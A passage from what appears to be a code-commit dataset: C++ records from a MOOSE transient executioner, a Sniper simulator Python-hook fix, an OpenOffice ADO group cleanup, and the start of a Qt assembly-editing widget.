params.addParam<std::vector<Real> >(\"sync_times\", sync_times, \"A list of times that will be solved for provided they are within the simulation time\");\n\n  return params;\n}\n\nTransientExecutioner::TransientExecutioner(const std::string & name, MooseSystem & moose_system, InputParameters parameters)\n  :Executioner(name, moose_system, parameters),\n   _t_step(moose_system.parameters().set<int> (\"t_step\") = 0),\n   _time(moose_system.parameters().set<Real>(\"time\") = getParam<Real>(\"start_time\")),\n   _input_dt(getParam<Real>(\"dt\")),\n   _dt(moose_system.parameters().set<Real>(\"dt\") = 0),\n   _prev_dt(-1),\n   _reset_dt(false),\n   _end_time(getParam<Real>(\"end_time\")),\n   _dtmin(getParam<Real>(\"dtmin\")),\n   _dtmax(getParam<Real>(\"dtmax\")),\n   _num_steps(getParam<Real>(\"num_steps\")),\n   _n_startup_steps(getParam<int>(\"n_startup_steps\")),\n   _trans_ss_check(getParam<bool>(\"trans_ss_check\")),\n   _ss_check_tol(getParam<Real>(\"ss_check_tol\")),\n   _ss_tmin(getParam<Real>(\"ss_tmin\")),\n   _converged(true),\n   _sync_times(getParam<std::vector<Real> >(\"sync_times\")),\n   _curr_sync_time_iter(_sync_times.begin()),\n   _remaining_sync_time(true)\n{\n  _moose_system.reinitDT();\n\n  \/\/ Advance to the first sync time if one is provided in sim time range\n  while (_remaining_sync_time && *_curr_sync_time_iter < _time)\n    if (++_curr_sync_time_iter == _sync_times.end())\n      _remaining_sync_time = false;\n}\n\nvoid\nTransientExecutioner::execute()\n{\n  preExecute();\n  \/\/ Start time loop...\n  while(keepGoing()) \n  {\n    takeStep();\n  }\n  postExecute();\n}\n\nvoid\nTransientExecutioner::takeStep()\n{\n  \/\/ If this is the first step\n  if(_t_step == 0)\n  {\n    _t_step = 1;\n    _dt = _input_dt;\n  }\n\n  if(_converged)\n  {\n\/\/    std::cout << \"copy\" << std::endl;\n    \/\/ Update backward time solution vectors\n    _moose_system.copy_old_solutions();\n  }    \n\n  _moose_system.getNonlinearSystem()->update();\n\n  Real dt_cur = computeDT();\n\n  \/\/ Don't let the time step size exceed maximum time step size\n  if(dt_cur > _dtmax)\n    dt_cur = _dtmax;\n\n  \/\/ Don't allow time step size to be smaller than minimum time step size\n  if(dt_cur < _dtmin)\n    dt_cur = _dtmin;\n          \n  \/\/ Don't let time go beyond simulation end time\n  if(_time + dt_cur > _end_time)\n    dt_cur = _end_time - _time;\n\n  \/\/ Adjust to a sync time if supplied and skipped over\n  if (_remaining_sync_time && _time + dt_cur > *_curr_sync_time_iter)\n  {\n    dt_cur = *_curr_sync_time_iter - _time;\n    if (++_curr_sync_time_iter == _sync_times.end())\n      _remaining_sync_time = false;\n\n    _prev_dt = _dt;\n\n    _reset_dt = true;\n  }\n  else \n  {\n    if (_reset_dt)\n    {\n      dt_cur = _prev_dt;\n      _reset_dt = false;\n    }\n  }\n\n  _dt = dt_cur;\n  _moose_system.reinitDT();\n  _moose_system.onTimestepBegin();\n\n  if(_converged)\n  {\n    \/\/ Update backward material data structures\n    _moose_system.updateMaterials();\n  } \n\n  \/\/ Increment time\n  _time += dt_cur;\n\n  _moose_system.reinitDT();\n\n  std::cout<<\"DT: \"<<dt_cur<<std::endl;\n\n  std::cout << \" Solving time step \";\n  {\n    OStringStream out;\n      \n    OSSInt(out,2,_t_step);\n    out << \", time=\";\n    OSSRealzeroleft(out,9,6,_time);\n    out <<  \"...\";\n    std::cout << out.str() << std::endl;\n  }\n\n  Moose::setSolverDefaults(_moose_system, this);\n    \n  setScaling();\n\n  preSolve();\n    \n  Moose::perf_log.push(\"solve()\",\"Solve\");\n  \/\/ System Solve\n  _moose_system.solve();\n  Moose::perf_log.pop(\"solve()\",\"Solve\");\n\n  _converged = _moose_system.getNonlinearSystem()->nonlinear_solver->converged;\n\n  postSolve();\n\n  std::cout<<\"Norm of each nonlinear variable:\"<<std::endl;\n  for(unsigned int var = 0; var < _moose_system.getNonlinearSystem()->n_vars(); var++)\n    std::cout << _moose_system.getNonlinearSystem()->variable_name(var) << \": \"\n              << _moose_system.getNonlinearSystem()->calculate_norm(*_moose_system.getNonlinearSystem()->rhs,var,DISCRETE_L2) << std::endl;\n\n  \/\/ We know whether or not the nonlinear solver thinks it converged, but we need to see if the executioner concurs\n  bool last_solve_converged = lastSolveConverged();\n    \n  \/\/ If _reset_dt is true, the time step was synced to the user defined value and we dump the solution in an output file\n  if (last_solve_converged && ((_t_step+1)%_moose_system._interval == 0 || _reset_dt)) \n  {\n    _moose_system.outputPostprocessors();\n    _moose_system.outputSystem(_t_step, _time);\n  }\n\n  if(last_solve_converged)\n  {\n    adaptMesh();\n    _t_step++;\n  }\n}\n\nReal\nTransientExecutioner::computeDT()\n{\n  if(!lastSolveConverged())\n  {\n    std::cout<<\"Solve failed... cutting timestep\"<<std::endl;\n    return _dt \/ 2.0;\n  }\n  \n  \/\/ If start up steps are needed\n  if(_t_step == 1 && _n_startup_steps > 1)\n    return _dt\/(double)(_n_startup_steps);\n  else if (_t_step == 1+_n_startup_steps)\n    return _dt*(double)(_n_startup_steps);\n  else\n    return _dt;\n}\n\nbool\nTransientExecutioner::keepGoing()\n{\n  \/\/ Check for stop condition based upon steady-state check flag:\n  if(_converged && _trans_ss_check == true && _time > _ss_tmin)\n  {\n    \/\/ Compute new time solution l2_norm\n    Real new_time_solution_norm = _moose_system.getNonlinearSystem()->current_local_solution->l2_norm();\n          \n    \/\/ Compute l2_norm relative error\n    Real ss_relerr_norm = fabs(new_time_solution_norm - _old_time_solution_norm)\/new_time_solution_norm;\n\n    \/\/ Check current solution relative error norm against steady-state tolerance\n    if(ss_relerr_norm < _ss_check_tol)\n    {\n      std::cout<<\"Steady-State Solution Achieved at time: \"<<_time<<std::endl;\n      return false;\n    }\n    else \/\/ Keep going\n    {\n      \/\/ Update solution norm for next time step  \n      _old_time_solution_norm = new_time_solution_norm;\n      \/\/ Print steady-state relative error norm\n      std::cout<<\"Steady-State Relative Differential Norm: \"<<ss_relerr_norm<<std::endl;\n    }\n  }\n\n  \/\/ Check for stop condition based upon number of simulation steps and\/or solution end time:\n  if(_t_step>_num_steps)\n    return false;\n  \n  if((_time>_end_time) || (fabs(_time-_end_time)<1.e-14))\n    return false;\n\n  return true;\n}\n\n\nbool\nTransientExecutioner::lastSolveConverged()\n{\n  return _converged;\n}  \n<|endoftext|>"}
{"text":"<commit_before>#include \"hooks_py.h\"\n#include \"simulator.h\"\n#include \"core_manager.h\"\n#include \"config.hpp\"\n#include \"fxsupport.h\"\n\nbool HooksPy::pyInit = false;\n\nvoid HooksPy::init()\n{\n   UInt64 numscripts = Sim()->getCfg()->getInt(\"hooks\/numscripts\");\n   for(UInt64 i = 0; i < numscripts; ++i) {\n      String scriptname = Sim()->getCfg()->getString(String(\"hooks\/script\") + itostr(i) + \"name\");\n      if (scriptname.substr(scriptname.length()-3) == \".py\") {\n         if (! pyInit) {\n            setup();\n         }\n\n         String args = Sim()->getCfg()->getString(String(\"hooks\/script\") + itostr(i) + \"args\");\n         char *argv[] = { (char*)(scriptname.c_str()), (char*)(args.c_str()) };\n         PySys_SetArgvEx(2, argv, 0 \/* updatepath *\/);\n\n         printf(\"Executing Python script %s\\n\", scriptname.c_str());\n         int s = PyRun_SimpleFileEx(fopen(scriptname.c_str(), \"r\"), scriptname.c_str(), 1 \/* closeit *\/);\n         if (s != 0) {\n            PyErr_Print();\n            fprintf(stderr, \"Cannot open Python script %s\\n\", scriptname.c_str());\n            exit(-1);\n         }\n      }\n   }\n}\n\nvoid HooksPy::setup()\n{\n   pyInit = true;\n   const char* graphite_root = getenv(\"GRAPHITE_ROOT\");\n   LOG_ASSERT_ERROR(graphite_root, \"Please make sure GRAPHITE_ROOT is set\");\n#ifdef TARGET_INTEL64\n   String python_home = String(graphite_root) + \"\/python_kit\/intel64\";\n#else\n   String python_home = String(graphite_root) + \"\/python_kit\/ia32\";\n#endif\n   Py_SetPythonHome(strdup(python_home.c_str()));\n   Py_InitializeEx(0 \/* don't initialize signal handlers *\/);\n\n   \/\/ set up all components\n   PyConfig::setup();\n   PyStats::setup();\n   PyHooks::setup();\n   PyDvfs::setup();\n   PyControl::setup();\n   PyBbv::setup();\n}\n\nvoid HooksPy::fini()\n{\n   if (pyInit)\n      Py_Finalize();\n}\n\nPyObject * HooksPy::callPythonFunction(PyObject *pFunc, PyObject *pArgs)\n{\n   PyObject *pResult = PyObject_CallObject(pFunc, pArgs);\n   Py_XDECREF(pArgs);\n   if (pResult == NULL) {\n      PyErr_Print();\n   }\n   return pResult;\n}\n<commit_msg>[PATCH 44\/85] [scripting] Find Sniper's root directory in either SNIPER_ROOT or GRAPHITE_ROOT<commit_after>#include \"hooks_py.h\"\n#include \"simulator.h\"\n#include \"core_manager.h\"\n#include \"config.hpp\"\n#include \"fxsupport.h\"\n\nbool HooksPy::pyInit = false;\n\nvoid HooksPy::init()\n{\n   UInt64 numscripts = Sim()->getCfg()->getInt(\"hooks\/numscripts\");\n   for(UInt64 i = 0; i < numscripts; ++i) {\n      String scriptname = Sim()->getCfg()->getString(String(\"hooks\/script\") + itostr(i) + \"name\");\n      if (scriptname.substr(scriptname.length()-3) == \".py\") {\n         if (! pyInit) {\n            setup();\n         }\n\n         String args = Sim()->getCfg()->getString(String(\"hooks\/script\") + itostr(i) + \"args\");\n         char *argv[] = { (char*)(scriptname.c_str()), (char*)(args.c_str()) };\n         PySys_SetArgvEx(2, argv, 0 \/* updatepath *\/);\n\n         printf(\"Executing Python script %s\\n\", scriptname.c_str());\n         int s = PyRun_SimpleFileEx(fopen(scriptname.c_str(), \"r\"), scriptname.c_str(), 1 \/* closeit *\/);\n         if (s != 0) {\n            PyErr_Print();\n            fprintf(stderr, \"Cannot open Python script %s\\n\", scriptname.c_str());\n            exit(-1);\n         }\n      }\n   }\n}\n\nvoid HooksPy::setup()\n{\n   pyInit = true;\n   const char* sim_root = NULL;\n   const char env_roots[2][16] = {\"SNIPER_ROOT\", \"GRAPHITE_ROOT\"};\n   for (unsigned int i = 0 ; i < 2 ; i++)\n   {\n      sim_root = getenv(env_roots[i]);\n      if (sim_root)\n         break;\n   }\n   LOG_ASSERT_ERROR(sim_root, \"Please make sure SNIPER_ROOT or GRAPHITE_ROOT is set\");\n#ifdef TARGET_INTEL64\n   String python_home = String(sim_root) + \"\/python_kit\/intel64\";\n#else\n   String python_home = String(sim_root) + \"\/python_kit\/ia32\";\n#endif\n   Py_SetPythonHome(strdup(python_home.c_str()));\n   Py_InitializeEx(0 \/* don't initialize signal handlers *\/);\n\n   \/\/ set up all components\n   PyConfig::setup();\n   PyStats::setup();\n   PyHooks::setup();\n   PyDvfs::setup();\n   PyControl::setup();\n   PyBbv::setup();\n}\n\nvoid HooksPy::fini()\n{\n   if (pyInit)\n      Py_Finalize();\n}\n\nPyObject * HooksPy::callPythonFunction(PyObject *pFunc, PyObject *pArgs)\n{\n   PyObject *pResult = PyObject_CallObject(pFunc, pArgs);\n   Py_XDECREF(pArgs);\n   if (pResult == NULL) {\n      PyErr_Print();\n   }\n   return pResult;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: AGroup.cxx,v $\n *\n *  $Revision: 1.16 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 05:28:29 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_ADO_GROUP_HXX_\n#include \"ado\/AGroup.hxx\"\n#endif\n#ifndef _CONNECTIVITY_ADO_USERS_HXX_\n#include \"ado\/AUsers.hxx\"\n#endif\n#ifndef _CPPUHELPER_TYPEPROVIDER_HXX_\n#include <cppuhelper\/typeprovider.hxx>\n#endif\n#ifndef _COMPHELPER_SEQUENCE_HXX_\n#include <comphelper\/sequence.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_SDBC_XROW_HPP_\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSET_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#endif\n#ifndef _CONNECTIVITY_ADO_BCONNECTION_HXX_\n#include \"ado\/AConnection.hxx\"\n#endif\n#ifndef CONNECTIVITY_CONNECTION_HXX\n#include \"TConnection.hxx\"\n#endif\n\nusing namespace connectivity::ado;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::beans;\nusing namespace com::sun::star::sdbc;\nusing namespace com::sun::star::sdbcx;\n\n\/\/ -------------------------------------------------------------------------\nvoid WpADOGroup::Create()\n{\n    IClassFactory2* pIUnknown   = NULL;\n    IUnknown        *pOuter     = NULL;\n    HRESULT         hr = -1;\n    ADOGroup* pGroup = NULL;\n    hr = CoCreateInstance(ADOS::CLSID_ADOGROUP_25,\n                          NULL,\n                          CLSCTX_INPROC_SERVER,\n                          ADOS::IID_ADOGROUP_25,\n                          (void**)&pGroup );\n\n\n    if( !FAILED( hr ) )\n    {\n        operator=( pGroup );\n        pGroup->Release();\n    }\n}\n\/\/ -------------------------------------------------------------------------\nOAdoGroup::OAdoGroup(OCatalog* _pParent,sal_Bool _bCase,    ADOGroup* _pGroup) : OGroup_ADO(_bCase),m_pCatalog(_pParent)\n{\n    construct();\n    if(_pGroup)\n        m_aGroup = WpADOGroup(_pGroup);\n    else\n        m_aGroup.Create();\n\n}\n\/\/ -------------------------------------------------------------------------\nOAdoGroup::OAdoGroup(OCatalog* _pParent,sal_Bool _bCase, const ::rtl::OUString& _Name) : OGroup_ADO(_Name,_bCase),m_pCatalog(_pParent)\n{\n    construct();\n    m_aGroup.Create();\n    m_aGroup.put_Name(_Name);\n}\n\/\/ -------------------------------------------------------------------------\nvoid OAdoGroup::refreshUsers()\n{\n    TStringVector aVector;\n\n    WpADOUsers aUsers = m_aGroup.get_Users();\n    aUsers.fillElementNames(aVector);\n\n    if(m_pUsers)\n        m_pUsers->reFill(aVector);\n    else\n        m_pUsers = new OUsers(m_pCatalog,m_aMutex,aVector,aUsers,isCaseSensitive());\n}\n\/\/--------------------------------------------------------------------------\nSequence< sal_Int8 > OAdoGroup::getUnoTunnelImplementationId()\n{\n    static ::cppu::OImplementationId * pId = 0;\n    if (! pId)\n    {\n        ::osl::MutexGuard aGuard( ::osl::Mutex::getGlobalMutex() );\n        if (! pId)\n        {\n            static ::cppu::OImplementationId aId;\n            pId = &aId;\n        }\n    }\n    return pId->getImplementationId();\n}\n\n\/\/ com::sun::star::lang::XUnoTunnel\n\/\/------------------------------------------------------------------\nsal_Int64 OAdoGroup::getSomething( const Sequence< sal_Int8 > & rId ) throw (RuntimeException)\n{\n    return (rId.getLength() == 16 && 0 == rtl_compareMemory(getUnoTunnelImplementationId().getConstArray(),  rId.getConstArray(), 16 ) )\n                ?\n            (sal_Int64)this\n                :\n            OGroup_ADO::getSomething(rId);\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid OAdoGroup::setFastPropertyValue_NoBroadcast(sal_Int32 nHandle,const Any& rValue)throw (Exception)\n{\n    if(m_aGroup.IsValid())\n    {\n\n        switch(nHandle)\n        {\n            case PROPERTY_ID_NAME:\n                {\n                    ::rtl::OUString aVal;\n                    rValue >>= aVal;\n                    m_aGroup.put_Name(aVal);\n                }\n                break;\n        }\n    }\n}\n\/\/ -------------------------------------------------------------------------\nvoid OAdoGroup::getFastPropertyValue(Any& rValue,sal_Int32 nHandle) const\n{\n    if(m_aGroup.IsValid())\n    {\n        switch(nHandle)\n        {\n            case PROPERTY_ID_NAME:\n                rValue <<= m_aGroup.get_Name();\n                break;\n        }\n    }\n}\n\/\/ -------------------------------------------------------------------------\n\nsal_Int32 SAL_CALL OAdoGroup::getPrivileges( const ::rtl::OUString& objName, sal_Int32 objType ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    return MapRight(m_aGroup.GetPermissions(objName,MapObjectType(objType)));\n}\n\/\/ -------------------------------------------------------------------------\nsal_Int32 SAL_CALL OAdoGroup::getGrantablePrivileges( const ::rtl::OUString& objName, sal_Int32 objType ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    RightsEnum eNum = m_aGroup.GetPermissions(objName,MapObjectType(objType));\n    if(eNum & adRightWithGrant)\n        return MapRight(eNum);\n    return 0;\n}\n\/\/ -------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::grantPrivileges( const ::rtl::OUString& objName, sal_Int32 objType, sal_Int32 objPrivileges ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    m_aGroup.SetPermissions(objName,MapObjectType(objType),adAccessGrant,Map2Right(objPrivileges));\n}\n\/\/ -------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::revokePrivileges( const ::rtl::OUString& objName, sal_Int32 objType, sal_Int32 objPrivileges ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    m_aGroup.SetPermissions(objName,MapObjectType(objType),adAccessDeny,Map2Right(objPrivileges));\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::acquire() throw(::com::sun::star::uno::RuntimeException)\n{\n    OGroup_ADO::acquire();\n}\n\/\/ -----------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::release() throw(::com::sun::star::uno::RuntimeException)\n{\n    OGroup_ADO::release();\n}\n\/\/ -----------------------------------------------------------------------------\n\n\n<commit_msg>INTEGRATION: CWS warnings01 (1.16.30); FILE MERGED 2005\/12\/22 11:44:34 fs 1.16.30.2: #i57457# warning-free code 2005\/11\/07 14:43:06 fs 1.16.30.1: #i57457# warning-free code<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: AGroup.cxx,v $\n *\n *  $Revision: 1.17 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-20 01:13:33 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_ADO_GROUP_HXX_\n#include \"ado\/AGroup.hxx\"\n#endif\n#ifndef _CONNECTIVITY_ADO_USERS_HXX_\n#include \"ado\/AUsers.hxx\"\n#endif\n#ifndef _CPPUHELPER_TYPEPROVIDER_HXX_\n#include <cppuhelper\/typeprovider.hxx>\n#endif\n#ifndef _COMPHELPER_SEQUENCE_HXX_\n#include <comphelper\/sequence.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_SDBC_XROW_HPP_\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSET_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#endif\n#ifndef _CONNECTIVITY_ADO_BCONNECTION_HXX_\n#include \"ado\/AConnection.hxx\"\n#endif\n#ifndef CONNECTIVITY_CONNECTION_HXX\n#include \"TConnection.hxx\"\n#endif\n\nusing namespace connectivity::ado;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::beans;\nusing namespace com::sun::star::sdbc;\nusing namespace com::sun::star::sdbcx;\n\n\/\/ -------------------------------------------------------------------------\nvoid WpADOGroup::Create()\n{\n    HRESULT         hr = -1;\n    ADOGroup* pGroup = NULL;\n    hr = CoCreateInstance(ADOS::CLSID_ADOGROUP_25,\n                          NULL,\n                          CLSCTX_INPROC_SERVER,\n                          ADOS::IID_ADOGROUP_25,\n                          (void**)&pGroup );\n\n\n    if( !FAILED( hr ) )\n    {\n        operator=( pGroup );\n        pGroup->Release();\n    }\n}\n\/\/ -------------------------------------------------------------------------\nOAdoGroup::OAdoGroup(OCatalog* _pParent,sal_Bool _bCase,    ADOGroup* _pGroup) : OGroup_ADO(_bCase),m_pCatalog(_pParent)\n{\n    construct();\n    if(_pGroup)\n        m_aGroup = WpADOGroup(_pGroup);\n    else\n        m_aGroup.Create();\n\n}\n\/\/ -------------------------------------------------------------------------\nOAdoGroup::OAdoGroup(OCatalog* _pParent,sal_Bool _bCase, const ::rtl::OUString& _Name) : OGroup_ADO(_Name,_bCase),m_pCatalog(_pParent)\n{\n    construct();\n    m_aGroup.Create();\n    m_aGroup.put_Name(_Name);\n}\n\/\/ -------------------------------------------------------------------------\nvoid OAdoGroup::refreshUsers()\n{\n    TStringVector aVector;\n\n    WpADOUsers aUsers = m_aGroup.get_Users();\n    aUsers.fillElementNames(aVector);\n\n    if(m_pUsers)\n        m_pUsers->reFill(aVector);\n    else\n        m_pUsers = new OUsers(m_pCatalog,m_aMutex,aVector,aUsers,isCaseSensitive());\n}\n\/\/--------------------------------------------------------------------------\nSequence< sal_Int8 > OAdoGroup::getUnoTunnelImplementationId()\n{\n    static ::cppu::OImplementationId * pId = 0;\n    if (! pId)\n    {\n        ::osl::MutexGuard aGuard( ::osl::Mutex::getGlobalMutex() );\n        if (! pId)\n        {\n            static ::cppu::OImplementationId aId;\n            pId = &aId;\n        }\n    }\n    return pId->getImplementationId();\n}\n\n\/\/ com::sun::star::lang::XUnoTunnel\n\/\/------------------------------------------------------------------\nsal_Int64 OAdoGroup::getSomething( const Sequence< sal_Int8 > & rId ) throw (RuntimeException)\n{\n    return (rId.getLength() == 16 && 0 == rtl_compareMemory(getUnoTunnelImplementationId().getConstArray(),  rId.getConstArray(), 16 ) )\n                ? reinterpret_cast< sal_Int64 >( this )\n                : OGroup_ADO::getSomething(rId);\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid OAdoGroup::setFastPropertyValue_NoBroadcast(sal_Int32 nHandle,const Any& rValue)throw (Exception)\n{\n    if(m_aGroup.IsValid())\n    {\n\n        switch(nHandle)\n        {\n            case PROPERTY_ID_NAME:\n                {\n                    ::rtl::OUString aVal;\n                    rValue >>= aVal;\n                    m_aGroup.put_Name(aVal);\n                }\n                break;\n        }\n    }\n}\n\/\/ -------------------------------------------------------------------------\nvoid OAdoGroup::getFastPropertyValue(Any& rValue,sal_Int32 nHandle) const\n{\n    if(m_aGroup.IsValid())\n    {\n        switch(nHandle)\n        {\n            case PROPERTY_ID_NAME:\n                rValue <<= m_aGroup.get_Name();\n                break;\n        }\n    }\n}\n\/\/ -------------------------------------------------------------------------\n\nsal_Int32 SAL_CALL OAdoGroup::getPrivileges( const ::rtl::OUString& objName, sal_Int32 objType ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    return MapRight(m_aGroup.GetPermissions(objName,MapObjectType(objType)));\n}\n\/\/ -------------------------------------------------------------------------\nsal_Int32 SAL_CALL OAdoGroup::getGrantablePrivileges( const ::rtl::OUString& objName, sal_Int32 objType ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    RightsEnum eNum = m_aGroup.GetPermissions(objName,MapObjectType(objType));\n    if(eNum & adRightWithGrant)\n        return MapRight(eNum);\n    return 0;\n}\n\/\/ -------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::grantPrivileges( const ::rtl::OUString& objName, sal_Int32 objType, sal_Int32 objPrivileges ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    m_aGroup.SetPermissions(objName,MapObjectType(objType),adAccessGrant,Map2Right(objPrivileges));\n}\n\/\/ -------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::revokePrivileges( const ::rtl::OUString& objName, sal_Int32 objType, sal_Int32 objPrivileges ) throw(::com::sun::star::sdbc::SQLException, RuntimeException)\n{\n    m_aGroup.SetPermissions(objName,MapObjectType(objType),adAccessDeny,Map2Right(objPrivileges));\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::acquire() throw(::com::sun::star::uno::RuntimeException)\n{\n    OGroup_ADO::acquire();\n}\n\/\/ -----------------------------------------------------------------------------\nvoid SAL_CALL OAdoGroup::release() throw(::com::sun::star::uno::RuntimeException)\n{\n    OGroup_ADO::release();\n}\n\/\/ -----------------------------------------------------------------------------\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/* The MIT License (MIT)\n *\n * Copyright (c) 2016 Ștefan-Gabriel Mirea, Adrian Dobrică\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include \"modify_asmbar.hpp\"\n#include \"qhexedit.hpp\"\n#include <QMessageBox>\n#include <QHBoxLayout>\n#include <iostream>\n#include <QDebug>\n\nModifyASMBar::ModifyASMBar(CodeContainer *container, ASMViewer *asmViewer, QHexEdit *hexEditor,\n    QWidget *parent) : QWidget(parent), container(container), asmViewer(asmViewer),\n                       hexEditor(hexEditor)\n{\n    modify = new QLabel(QString(\"Modify:\"), this);\n    text = new QLineEdit(this);\n    ok = new QPushButton(QString(\"OK\"), this);\n\n    QHBoxLayout *layout = new QHBoxLayout;\n    layout->setContentsMargins(QMargins());\n    layout->addWidget(modify);\n    layout->addWidget(text);\n    layout->addWidget(ok);\n    setLayout(layout);\n    setMaximumHeight(80);\n\n    connect(ok, SIGNAL(clicked()), this, SLOT(editInstruction()));\n}\n\nvoid ModifyASMBar::editInstruction()\n{\n    std::cerr << \"OK!\\n\";\n    QModelIndexList list = asmViewer->selectionModel()->selectedIndexes();\n    QString inputInstruction = text->text();\n\n    if (!list.size())\n    {\n        QMessageBox::critical(this, QString(\"Error\"),\n                              QString(\"You must select the instruction to be replaced.\"));\n        return;\n    }\n\n    std::string binaryCode;\n    int fullyCovered;\n    int rest;\n    QString machineCode = list[1].data().toString();\n    unsigned int instrSize = (machineCode.size() + 1) \/ 3;\n    int selectedRow = list[0].row();\n\n    if (inputInstruction.isEmpty())\n    {\n        QMessageBox::StandardButton reply;\n        reply = QMessageBox::question(this, \"Confirmation required\",\n            \"You left the \\\"Modify\\\" field blank. Do you want to delete the currently selected \"\n            \"instruction? Its content will be replaced with NOP instructions.\",\n            QMessageBox::Yes | QMessageBox::No);\n        if (reply == QMessageBox::No)\n            return;\n        fullyCovered = 0;\n        rest = instrSize;\n    }\n    else\n    {\n        bool assembled;\n        binaryCode = FileAssembly::assembleCode(inputInstruction.toStdString(), assembled);\n        if (!assembled)\n        {\n            QMessageBox::critical(this, QString(\"Error\"),\n                QString(\"The instruction provided could not be assembled. \"\n                        \"Please check your input and try again.\"));\n            return;\n        }\n\n        if (binaryCode.size() < instrSize)\n        {\n            QMessageBox::StandardButton reply;\n            reply = QMessageBox::question(this, \"Confirmation required\",\n                QString(\"The instruction provided is shorter than the instruction to be replaced. \"\n                        \"The last %1 byte(s) of the currently selected instruction will be \"\n                        \"overwritten with NOP instructions.\\nDo you want to proceed?\")\n                        .arg(instrSize - binaryCode.size()),\n                QMessageBox::Yes | QMessageBox::No);\n            if (reply == QMessageBox::No)\n                return;\n            fullyCovered = 0;\n            rest = instrSize - binaryCode.size();\n        }\n        else if (binaryCode.size() > instrSize)\n        {\n            int row = selectedRow;\n            int bytesLeft = binaryCode.size();\n            rest = 0;\n\n            while (bytesLeft > 0 && row < asmViewer->getModel()->rowCount())\n            {\n                int currentSize = (asmViewer->getModel()->item(row, 1)->text().size() + 1) \/ 3;\n                if (currentSize >= bytesLeft)\n                    rest = currentSize - bytesLeft;\n                bytesLeft -= currentSize;\n                ++row;\n            }\n\n            if (bytesLeft > 0 && row == asmViewer->getModel()->rowCount())\n            {\n                QMessageBox::critical(this, QString(\"Error\"),\n                    